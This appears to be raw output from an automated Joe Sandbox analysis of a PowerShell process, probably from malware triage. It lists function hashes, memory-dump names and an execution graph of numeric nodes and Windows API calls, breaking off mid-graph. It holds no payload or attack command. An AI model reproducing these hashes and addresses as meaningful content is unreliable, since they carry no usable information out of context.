                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 6ef551260b1d9975afe40ebec1243d461aa76d1f7dd1eef8ed2c57342edf2a85
                                                                                                                                                                                                        • Instruction ID: fbcf9e7bb55ad52304c53e20dfc0c1b18db0619140a5cbb30e6db1de158d5152
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6ef551260b1d9975afe40ebec1243d461aa76d1f7dd1eef8ed2c57342edf2a85
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B1F0373275C6044FDB4CAA1CF4429B573D1E795320F40056EE48BC2696D917E8468685
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Non-executed Functions

                                                                                                                                                                                                        Function 00007FF8590815BD Relevance: 20.8, Strings: 16, Instructions: 751COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: (:Y$0:Y$0:Y$8:Y$H:Y$P:Y$P:Y$X:Y$X:Y$`:Y$p:Y$x:Y$x:Y$:Y$:Y$:Y
                                                                                                                                                                                                        • API String ID: 0-3083072736
                                                                                                                                                                                                        • Opcode ID: f22b48633286f5013ac631bad6e3a511cd566c9b64afbc6975c4fd8427ee0272
                                                                                                                                                                                                        • Instruction ID: f1aa1fb11b5b43bb58e89fcb29775774e162efe8ebe54ee9cf21ed98f78b3821
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f22b48633286f5013ac631bad6e3a511cd566c9b64afbc6975c4fd8427ee0272
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7832EA8BF0EAC18FE6A5493C78151396FD5EFA2A7071D09FBC0884B0DB9A54DC4F8295
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859085C05 Relevance: 1.6, Strings: 1, Instructions: 323COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: E1Y
                                                                                                                                                                                                        • API String ID: 0-2313461951
                                                                                                                                                                                                        • Opcode ID: 1bf485f52e0329d7156a4cfa09e8ce548237b910f2142b2434ed9143f4a2733b
                                                                                                                                                                                                        • Instruction ID: 7cefddab07c195c1c9ad92ff6792e11c7f9f72a875c70ba2affde65419eea9d2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1bf485f52e0329d7156a4cfa09e8ce548237b910f2142b2434ed9143f4a2733b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D191C867E0E7D24FE356993C78BA0E57FA0EF526B1B1D04FBC1848B0939A05984E8791
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF8590853A2 Relevance: 1.5, Strings: 1, Instructions: 249COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: ^_^
                                                                                                                                                                                                        • API String ID: 0-4237115300
                                                                                                                                                                                                        • Opcode ID: 8a35890fc734154e9d313228f53e6916f85f2f3450a33965793125fb745a6d9d
                                                                                                                                                                                                        • Instruction ID: 45403283eebdf11d2cc686c90bc4df99f91c68bc5feb66f881949a2d236bddb1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8a35890fc734154e9d313228f53e6916f85f2f3450a33965793125fb745a6d9d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4E61D557F0D6E60BE752AA7C68B60E57F90DF531F5B1E00FBC284CA093EA05984E8391
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859153285 Relevance: .5, Instructions: 459COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.653043972.00007FF859150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859150000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859150000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: b1af93651d56caab0360942b57184b6dab64109b427c6f12edcc13370af47129
                                                                                                                                                                                                        • Instruction ID: 86858649d3aa220ea346d330a980863cd511b7b30a6c8fb5c5c6b04514bc24b6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b1af93651d56caab0360942b57184b6dab64109b427c6f12edcc13370af47129
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DCD10461E4DAD64FEB979B3828651707FE1EF56261B0E01FAD088CB193DE1C9C078792
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859410F6D Relevance: .1, Instructions: 114COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.657197537.00007FF859410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859410000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859410000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 765df9c4460a26b12d16b7a35f651a8d268d25fee291988f6b1b547c78921fee
                                                                                                                                                                                                        • Instruction ID: 941b06e3d8f58595e4a6b4df480542c8d1411aa1496ec216a985ea5b687beace
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 765df9c4460a26b12d16b7a35f651a8d268d25fee291988f6b1b547c78921fee
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B2319252E0DBC50FE3569B7858664A47FA0BF572A0B0D05FBC588CB1E3EB489C46D352
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF8590884AA Relevance: 5.1, Strings: 4, Instructions: 110COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: ^_^$^_^$^_^$^_^
                                                                                                                                                                                                        • API String ID: 0-2177395044
                                                                                                                                                                                                        • Opcode ID: bd0dec56ecd55982d99491f612c8184db35af5270e4eae2c0931a195127588d3
                                                                                                                                                                                                        • Instruction ID: 630a3e514f248c4ad02a8299c430e8db90cfeaf65ba804ef67b51bd56e02e7d9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bd0dec56ecd55982d99491f612c8184db35af5270e4eae2c0931a195127588d3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E441569790D6D15FEB165B786CA91E53FA09F133B4F0E04F7C9EC4A083EB69680A8351
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF8590883AB Relevance: 5.1, Strings: 4, Instructions: 107COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: ^_^$^_^$^_^$^_^
                                                                                                                                                                                                        • API String ID: 0-2031475195
                                                                                                                                                                                                        • Opcode ID: 4887828cfee2c699309f7623b3af3bc95d5f2093cfdfb99b4d63d0e3e1002db3
                                                                                                                                                                                                        • Instruction ID: 0fe4b895a5e710186a05a18862a89ed5283e621cf72d77bb50468363321fca6e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4887828cfee2c699309f7623b3af3bc95d5f2093cfdfb99b4d63d0e3e1002db3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A5316663A0D6C24FE7518B6958E50A57BD0EF22374F1E14FBC9DD4B053EA1ABC4A8211
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Execution Graph

                                                                                                                                                                                                        Execution Coverage:8.5%
                                                                                                                                                                                                        Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                        Signature Coverage:3.4%
                                                                                                                                                                                                        Total number of Nodes:1419
                                                                                                                                                                                                        Total number of Limit Nodes:78
                                                                                                                                                                                                        execution_graph 52921 1400055e2 52924 140014280 52921->52924 52925 1400055f5 52924->52925 52926 140039010 52924->52926 52933 140005700 52926->52933 52928 1400390b0 52966 140007a40 52928->52966 52930 1400390ba 52931 140039045 52931->52928 52965 1400700a0 100 API calls 3 library calls 52931->52965 52934 140005f52 52933->52934 52935 140005738 52933->52935 52975 140016bb4 52934->52975 52978 140016ed8 52935->52978 52939 140016ed8 56 API calls shared_ptr 52961 140005767 std::exception_ptr::_Current_exception 52939->52961 52940 140007af0 46 API calls 52940->52961 52941 140038535 VariantClear 52941->52961 52942 14000583a 52946 140038f87 52942->52946 52951 140005845 52942->52951 52943 140005c17 52989 140007af0 52943->52989 52945 1400389ca VariantClear 52945->52961 52996 1400700a0 100 API calls 3 library calls 52946->52996 52947 140038cd4 VariantClear 52947->52961 52948 140005853 52948->52931 52950 140007a40 _RunAllParam 46 API calls 52950->52951 52951->52948 52951->52950 52952 1400388ed VariantClear 52952->52961 52953 140013280 46 API calls _RunAllParam 52953->52961 52954 140038e7e 52954->52931 52955 140007a40 _RunAllParam 46 API calls 52955->52961 52956 140059370 45 API calls std::exception_ptr::_Current_exception 52956->52961 52958 140038e5f 52995 1400700a0 100 API calls 3 library calls 52958->52995 52961->52939 52961->52940 52961->52941 52961->52942 52961->52943 52961->52945 52961->52947 52961->52952 52961->52953 52961->52955 52961->52956 52961->52958 52964 1400126b0 46 API calls 52961->52964 52993 140067fa0 97 API calls 3 library calls 52961->52993 52994 140085370 97 API calls 3 library calls 52961->52994 52962 140038e74 52962->52954 52963 140007a40 _RunAllParam 46 API calls 52962->52963 52963->52954 52964->52961 52965->52928 52972 140007a5d 52966->52972 52967 140007a69 52969 14003221c 52967->52969 52970 140007a8d std::exception_ptr::_Current_exception 52967->52970 52973 140007a7b 52967->52973 52968 1400321ec VariantClear 52968->52970 53088 140013280 52969->53088 52970->52930 52972->52967 52972->52968 52973->52970 53092 140059370 45 API calls std::exception_ptr::_Current_exception 52973->53092 52997 140016aac 52975->52997 52980 140016ee3 malloc 52978->52980 52981 140016efc 52980->52981 52984 140016f02 shared_ptr 52980->52984 53013 140017ca8 52980->53013 52981->52961 52982 140016f49 53026 14001eb88 45 API calls malloc 52982->53026 52984->52982 52986 140016bb4 _cinit 55 API calls 52984->52986 52985 140016f5a 53027 14001ecac RaiseException __initmbctable 52985->53027 52986->52982 52988 140016f70 52990 140007b02 52989->52990 52992 140007b14 52989->52992 52991 140007a40 _RunAllParam 46 API calls 52990->52991 52991->52992 52992->52951 52993->52961 52994->52961 52995->52962 52996->52954 53012 140016ff8 52997->53012 53014 140017d3c malloc 53013->53014 53020 140017cc0 malloc 53013->53020 53070 14001eae4 45 API calls _errno 53014->53070 53015 140017cf8 RtlAllocateHeap 53017 140017d31 53015->53017 53015->53020 53017->52980 53019 140017d21 53068 14001eae4 45 API calls _errno 53019->53068 53020->53015 53020->53019 53023 140017d26 53020->53023 53028 14001ef68 45 API calls 2 library calls 53020->53028 53029 14001ed40 53020->53029 53065 140016fe0 53020->53065 53069 14001eae4 45 API calls _errno 53023->53069 53026->52985 53027->52988 53028->53020 53030 14001ed63 53029->53030 53031 14001ef4f 53030->53031 53071 14002a284 45 API calls 2 library calls 53030->53071 53031->53020 53033 14001ed85 53034 14001ef0a GetStdHandle 53033->53034 53072 14002a284 45 API calls 2 library calls 53033->53072 53034->53031 53036 14001ef1d 53034->53036 53036->53031 53038 14001ef23 malloc 53036->53038 53037 14001ed98 53037->53034 53039 14001eda9 53037->53039 53041 14001ef33 WriteFile 53038->53041 53039->53031 53040 14001edb5 53039->53040 53073 140029fa0 45 API calls 2 library calls 53040->53073 53041->53031 53043 14001edd4 53044 14001eded GetModuleFileNameA 53043->53044 53074 14001e8ec 6 API calls 2 library calls 53043->53074 53046 14001ee3e malloc 53044->53046 53047 14001ee0d 53044->53047 53050 14001ee99 53046->53050 53077 140029ec8 45 API calls 2 library calls 53046->53077 53075 140029fa0 45 API calls 2 library calls 53047->53075 53049 14001ee25 53049->53046 53076 14001e8ec 6 API calls 2 library calls 53049->53076 53079 140029e3c 45 API calls 2 library calls 53050->53079 53053 14001eeab 53055 14001eec4 53053->53055 53080 14001e8ec 6 API calls 2 library calls 53053->53080 53081 140029e3c 45 API calls 2 library calls 53055->53081 53058 14001ee80 53058->53050 53078 14001e8ec 6 API calls 2 library calls 53058->53078 53059 14001eeda 53060 14001eef3 53059->53060 53082 14001e8ec 6 API calls 2 library calls 53059->53082 53083 14002a090 16 API calls malloc 53060->53083 53064 14001ef08 53064->53031 53084 140016fa4 GetModuleHandleW 53065->53084 53068->53023 53069->53017 53070->53017 53071->53033 53072->53037 53073->53043 53074->53044 53075->53049 53076->53046 53077->53058 53078->53050 53079->53053 53080->53055 53081->53059 53082->53060 53083->53064 53085 140016fd7 ExitProcess 53084->53085 53086 140016fbe GetProcAddress 53084->53086 53086->53085 53087 140016fd3 53086->53087 53087->53085 53089 140013297 53088->53089 53090 14001328a 53088->53090 53089->52970 53093 1400131c0 53090->53093 53092->52970 53094 14001322f 53093->53094 53095 1400131ce 53093->53095 53094->53089 53095->53094 53097 140013190 53095->53097 53098 140007a40 _RunAllParam 46 API calls 53097->53098 53099 1400131a4 53098->53099 53099->53095 53100 14001d2a8 GetStartupInfoW 53101 14001d2cf 53100->53101 53138 140020ca8 HeapCreate 53101->53138 53104 14001d371 53141 14001d88c 53104->53141 53105 14001d35d 53108 14001ed40 malloc 45 API calls 53105->53108 53111 14001d367 53108->53111 53113 140016fe0 malloc 3 API calls 53111->53113 53113->53104 53139 140020ccc HeapSetInformation 53138->53139 53140 14001d34b 53138->53140 53139->53140 53140->53104 53140->53105 53235 14001ef68 45 API calls 2 library calls 53140->53235 53237 1400172f4 53141->53237 53235->53105 53253 14001d560 EncodePointer 53237->53253 54710 140092bb0 54711 14000fd50 shared_ptr 56 API calls 54710->54711 54712 140092bf7 54711->54712 54745 140012d80 54712->54745 54714 140092c06 54718 140092d53 54714->54718 54720 140092c3e 54714->54720 54738 140092d3b 54714->54738 54715 140062160 95 API calls 54716 140092e30 std::exception_ptr::_Current_exception 54715->54716 54786 1400024b0 46 API calls _RunAllParam 54716->54786 54723 140092dba StringFromIID 54718->54723 54718->54738 54721 140092c6e StringFromCLSID 54720->54721 54722 140092c83 54720->54722 54720->54738 54721->54722 54725 140015220 56 API calls 54722->54725 54722->54738 54724 140092dd1 54723->54724 54723->54738 54726 140015220 56 API calls 54724->54726 54727 140092c96 CoTaskMemFree 54725->54727 54728 140092dde CoTaskMemFree 54726->54728 54729 140092cb0 54727->54729 54727->54738 54731 1400107e0 shared_ptr 56 API calls 54728->54731 54730 1400107e0 shared_ptr 56 API calls 54729->54730 54732 140092cc1 54730->54732 54733 140092e00 54731->54733 54753 1400117b0 56 API calls 2 library calls 54732->54753 54785 1400117b0 56 API calls 2 library calls 54733->54785 54736 140092e0d 54737 1400926b0 107 API calls 54736->54737 54737->54738 54738->54715 54739 140092cce 54744 140092cf5 54739->54744 54754 1400926b0 54739->54754 54740 1400926b0 107 API calls 54740->54738 54744->54738 54744->54740 54746 140007a40 _RunAllParam 46 API calls 54745->54746 54747 140012d95 54746->54747 54748 140016ed8 shared_ptr 56 API calls 54747->54748 54750 140012da6 54748->54750 54749 140032aa0 54750->54749 54751 140001d30 shared_ptr 56 API calls 54750->54751 54752 140012dba 54751->54752 54752->54714 54753->54739 54755 14000fd50 shared_ptr 56 API calls 54754->54755 54756 1400926f6 54755->54756 54757 1400107e0 shared_ptr 56 API calls 54756->54757 54758 140092707 54757->54758 54787 1400117b0 56 API calls 2 library calls 54758->54787 54760 140092714 54761 140092737 54760->54761 54857 1400117b0 56 API calls 2 library calls 54760->54857 54763 140011910 56 API calls 54761->54763 54765 140092746 54763->54765 54764 14009272a 54858 1400117b0 56 API calls 2 library calls 54764->54858 54788 1400049b0 56 API calls 2 library calls 54765->54788 54768 140092755 54769 140007a40 _RunAllParam 46 API calls 54768->54769 54770 14009275f 54769->54770 54771 140011910 56 API calls 54770->54771 54772 140092770 54771->54772 54789 1400049b0 56 API calls 2 library calls 54772->54789 54774 14009277f 54775 140007a40 _RunAllParam 46 API calls 54774->54775 54776 140092789 54775->54776 54790 14007e830 54776->54790 54785->54736 54787->54760 54788->54768 54789->54774 54791 14000fd50 shared_ptr 56 API calls 54790->54791 54792 14007e865 54791->54792 54793 14000fd50 shared_ptr 56 API calls 54792->54793 54794 14007e86f 54793->54794 54795 14000fd50 shared_ptr 56 API calls 54794->54795 54796 14007e87c 54795->54796 54797 140012d80 57 API calls 54796->54797 54798 14007e88b 54797->54798 54860 140062190 54798->54860 54801 140001d30 shared_ptr 56 API calls 54802 14007e8a7 54801->54802 54864 140075290 54802->54864 54857->54764 54858->54761 54861 14006219f 54860->54861 54862 1400621ab 54860->54862 54861->54862 54888 140061f90 95 API calls 3 library calls 54861->54888 54862->54801 54865 1400107e0 shared_ptr 56 API calls 54864->54865 54866 1400752c0 54865->54866 54867 1400107e0 shared_ptr 56 API calls 54866->54867 54868 1400752cb 54867->54868 54869 1400107e0 shared_ptr 56 API calls 54868->54869 54870 1400752d8 54869->54870 54871 14007534d 54870->54871 54872 140002170 56 API calls 54870->54872 54873 1400107e0 shared_ptr 56 API calls 54871->54873 54874 1400752e9 54872->54874 54875 14007534b 54873->54875 54874->54871 54876 140002170 56 API calls 54874->54876 54879 140072750 56 API calls 54875->54879 54877 1400752fc 54876->54877 54877->54871 54878 140075302 54877->54878 54889 1400021b0 56 API calls 2 library calls 54878->54889 54881 140075385 54879->54881 54882 140072750 56 API calls 54881->54882 54883 1400753a0 shared_ptr 54882->54883 54884 140075310 54890 140072750 54884->54890 54886 14007533d 54902 1400021b0 56 API calls 2 library calls 54886->54902 54888->54862 54889->54884 54891 140072814 54890->54891 54892 140072780 54890->54892 54904 1400021b0 56 API calls 2 library calls 54891->54904 54892->54891 54895 14007278a 54892->54895 54894 1400727e3 __initmbctable 54894->54886 54896 1400727e8 54895->54896 54897 1400727b1 54895->54897 54903 14000fed0 56 API calls shared_ptr 54896->54903 54898 1400118e0 shared_ptr 56 API calls 54897->54898 54900 1400727bc shared_ptr 54898->54900 54901 140016ed8 shared_ptr 56 API calls 54900->54901 54901->54894 54902->54875 54903->54894 54904->54894 54906 140086ef0 54907 140062190 95 API calls 54906->54907 54908 140086f21 54907->54908 54909 140062160 95 API calls 54908->54909 54910 140086f31 54909->54910 54911 140062190 95 API calls 54910->54911 54912 140086f42 54911->54912 54913 140062160 95 API calls 54912->54913 54914 140086f55 54913->54914 54974 140011880 54914->54974 54916 140086f6a 54917 140086fba 54916->54917 54938 140087049 54916->54938 54918 140012b40 57 API calls 54917->54918 54919 140086fd2 54918->54919 54921 140011400 57 API calls 54919->54921 54951 140086ff2 54919->54951 54920 140087055 54923 140087369 54920->54923 54924 1400873ad 54920->54924 54928 140086fe7 54921->54928 54922 140062190 95 API calls 54929 1400870d9 54922->54929 54930 140012b40 57 API calls 54923->54930 54927 140012b40 57 API calls 54924->54927 54925 140087044 std::exception_ptr::_Current_exception 54926 1400870e8 54926->54920 54942 140087137 54926->54942 54931 1400873b8 54927->54931 54932 140007a40 _RunAllParam 46 API calls 54928->54932 54933 140062160 95 API calls 54929->54933 54934 140087371 54930->54934 54936 140011400 57 API calls 54931->54936 54932->54951 54933->54926 54937 140062160 95 API calls 54934->54937 54935 140002900 56 API calls 54935->54951 54940 1400873c8 54936->54940 54941 140087385 54937->54941 54938->54920 54938->54922 54938->54926 54939 140011400 57 API calls 54939->54951 54943 140007a40 _RunAllParam 46 API calls 54940->54943 54944 140002900 56 API calls 54941->54944 54947 140087151 54942->54947 54948 140087162 54942->54948 54949 1400873d3 54943->54949 54945 140087398 54944->54945 54950 140011400 57 API calls 54945->54950 54952 140012b40 57 API calls 54947->54952 54953 140012b40 57 API calls 54948->54953 54954 140011400 57 API calls 54949->54954 54955 1400873a8 54950->54955 54951->54925 54951->54935 54951->54939 54988 140013120 57 API calls 2 library calls 54951->54988 54956 140087159 54952->54956 54957 14008716c 54953->54957 54958 1400873ed 54954->54958 54991 140013120 57 API calls 2 library calls 54955->54991 54961 1400107e0 shared_ptr 56 API calls 54956->54961 54959 140011400 57 API calls 54957->54959 54960 140062160 95 API calls 54958->54960 54963 14008717c 54959->54963 54964 140087404 54960->54964 54971 1400871b8 54961->54971 54965 140007a40 _RunAllParam 46 API calls 54963->54965 54966 140002900 56 API calls 54964->54966 54965->54956 54966->54955 54967 140011400 57 API calls 54967->54971 54971->54925 54971->54967 54972 1400107e0 shared_ptr 56 API calls 54971->54972 54973 140013120 57 API calls 54971->54973 54979 140002900 54971->54979 54989 140017acc 47 API calls 2 library calls 54971->54989 54990 1400037e0 56 API calls 2 library calls 54971->54990 54972->54971 54973->54971 54975 140016ed8 shared_ptr 56 API calls 54974->54975 54976 1400118b5 54975->54976 54977 1400118e0 shared_ptr 56 API calls 54976->54977 54978 1400118c3 54977->54978 54978->54916 54980 140002946 54979->54980 54981 14000290e 54979->54981 54985 140002950 __initmbctable 54980->54985 54986 140016ed8 shared_ptr 56 API calls 54980->54986 54981->54980 54982 1400334e0 54981->54982 54983 1400118e0 shared_ptr 56 API calls 54982->54983 54984 1400334e7 shared_ptr 54983->54984 54987 140016ed8 shared_ptr 56 API calls 54984->54987 54985->54971 54986->54985 54987->54985 54988->54951 54989->54971 54990->54971 54991->54925 54992 1400381eb 54999 1400047b0 54992->54999 54994 1400381f8 55010 140084700 54994->55010 54996 140038250 55020 1400700a0 100 API calls 3 library calls 54996->55020 54998 140038e40 55000 1400047c6 54999->55000 55001 1400047dc 54999->55001 55002 140007af0 46 API calls 55000->55002 55003 1400047e2 55001->55003 55004 1400047fd 55001->55004 55006 1400047ce 55002->55006 55007 140007af0 46 API calls 55003->55007 55005 140016ed8 shared_ptr 56 API calls 55004->55005 55009 14000480c 55005->55009 55006->54994 55008 1400047eb 55007->55008 55008->54994 55009->54994 55011 140084747 _fread_nolock 55010->55011 55012 140001d30 shared_ptr 56 API calls 55011->55012 55018 1400847ff std::exception_ptr::_Current_exception 55011->55018 55013 1400847af 55012->55013 55021 140004740 56 API calls std::exception_ptr::_Current_exception 55013->55021 55015 1400847c7 55016 140010580 56 API calls 55015->55016 55017 1400847ed 55016->55017 55017->55018 55019 140007af0 46 API calls 55017->55019 55018->54996 55019->55018 55020->54998 55021->55015 55022 14006d8b0 55023 140062190 95 API calls 55022->55023 55024 14006d8c5 SetCurrentDirectoryW 55023->55024 55025 14006d8da 55024->55025 55026 14006d8d2 55024->55026 55027 140007a40 _RunAllParam 46 API calls 55026->55027 55027->55025 55028 140017130 55029 14001f1bc _lock 45 API calls 55028->55029 55030 14001715e 55029->55030 55031 140017185 DecodePointer 55030->55031 55036 140017241 _initterm 55030->55036 55035 1400171a2 DecodePointer 55031->55035 55031->55036 55033 1400172a2 55034 140017277 55034->55033 55050 14001f0bc LeaveCriticalSection 55034->55050 55038 1400171c6 55035->55038 55036->55034 55052 14001f0bc LeaveCriticalSection 55036->55052 55038->55036 55041 1400171e5 DecodePointer 55038->55041 55051 14001d560 EncodePointer 55038->55051 55049 14001d560 EncodePointer 55041->55049 55053 140084b28 55054 140084aa3 SHGetFolderPathW 55053->55054 55055 140084abe 55054->55055 55055->55054 55056 14003a231 55059 140095d90 55056->55059 55060 140095e6e 55059->55060 55061 140095e24 55059->55061 55062 14000fd50 shared_ptr 56 API calls 55060->55062 55063 140095e5b 55061->55063 55064 140095e2b 55061->55064 55079 140095e78 _fread_nolock 55062->55079 55090 140095860 55063->55090 55066 140095e30 55064->55066 55067 140095e48 55064->55067 55066->55060 55068 140095e35 55066->55068 55112 140095060 107 API calls 5 library calls 55067->55112 55111 1400940c0 108 API calls 3 library calls 55068->55111 55071 140012600 56 API calls 55071->55079 55072 140007a40 _RunAllParam 46 API calls 55074 14009649e 55072->55074 55076 140007a40 _RunAllParam 46 API calls 55074->55076 55075 140095e43 std::exception_ptr::_Current_exception 55075->55072 55077 14003a24a 55076->55077 55078 140012d80 57 API calls 55078->55079 55079->55071 55079->55075 55079->55078 55081 140010580 56 API calls 55079->55081 55083 140005700 107 API calls 55079->55083 55084 1400963f5 55079->55084 55086 140007af0 46 API calls 55079->55086 55088 140012b40 57 API calls 55079->55088 55113 140082f90 55079->55113 55117 1400625a0 56 API calls 55079->55117 55118 140015e60 57 API calls 55079->55118 55119 14008b1c0 57 API calls 55079->55119 55120 140094e40 107 API calls _RunAllParam 55079->55120 55081->55079 55083->55079 55121 1400700a0 100 API calls 3 library calls 55084->55121 55086->55079 55088->55079 55091 1400958bf 55090->55091 55092 1400958d1 55090->55092 55091->55092 55094 1400958c4 55091->55094 55093 14000fd50 shared_ptr 56 API calls 55092->55093 55106 1400958db _fread_nolock 55093->55106 55122 1400940c0 108 API calls 3 library calls 55094->55122 55096 140012600 56 API calls 55096->55106 55097 140007a40 _RunAllParam 46 API calls 55098 140095d68 55097->55098 55098->55075 55100 140095cbc 55125 1400700a0 100 API calls 3 library calls 55100->55125 55101 1400958cc std::exception_ptr::_Current_exception 55101->55097 55102 140012d80 57 API calls 55102->55106 55103 140082f90 57 API calls 55103->55106 55104 140010580 56 API calls 55104->55106 55105 140005700 107 API calls 55105->55106 55106->55096 55106->55100 55106->55101 55106->55102 55106->55103 55106->55104 55106->55105 55108 140007af0 46 API calls 55106->55108 55110 140012b40 57 API calls 55106->55110 55123 140015e60 57 API calls 55106->55123 55124 140094e40 107 API calls _RunAllParam 55106->55124 55108->55106 55110->55106 55111->55075 55112->55075 55116 140082fb0 55113->55116 55114 14008300b 55114->55079 55115 14000f9e0 57 API calls 55115->55114 55116->55114 55116->55115 55117->55079 55118->55079 55119->55079 55120->55079 55121->55075 55122->55101 55123->55106 55124->55106 55125->55101 55126 1400055b5 55129 140010050 55126->55129 55130 14001007b 55129->55130 55131 1400100cc 55130->55131 55132 1400390d0 55130->55132 55134 140010580 56 API calls 55131->55134 55259 1400700a0 100 API calls 3 library calls 55132->55259 55135 140010143 55134->55135 55137 1400101c0 55135->55137 55139 140007a40 _RunAllParam 46 API calls 55135->55139 55136 1400390e2 55138 140007a40 _RunAllParam 46 API calls 55136->55138 55143 1400101d2 55137->55143 55144 14003912a 55137->55144 55158 14001046b 55137->55158 55140 1400390ec 55138->55140 55141 14001015e 55139->55141 55142 140007a40 _RunAllParam 46 API calls 55140->55142 55145 140039100 55141->55145 55146 140010178 55141->55146 55149 1400390f6 55142->55149 55147 1400391a6 55143->55147 55150 1400101f3 55143->55150 55144->55147 55148 14003914a 55144->55148 55161 14000f9e0 57 API calls 55145->55161 55151 14000f9e0 57 API calls 55146->55151 55156 140005700 107 API calls 55147->55156 55147->55158 55261 140010660 107 API calls _RunAllParam 55148->55261 55260 140013ae0 46 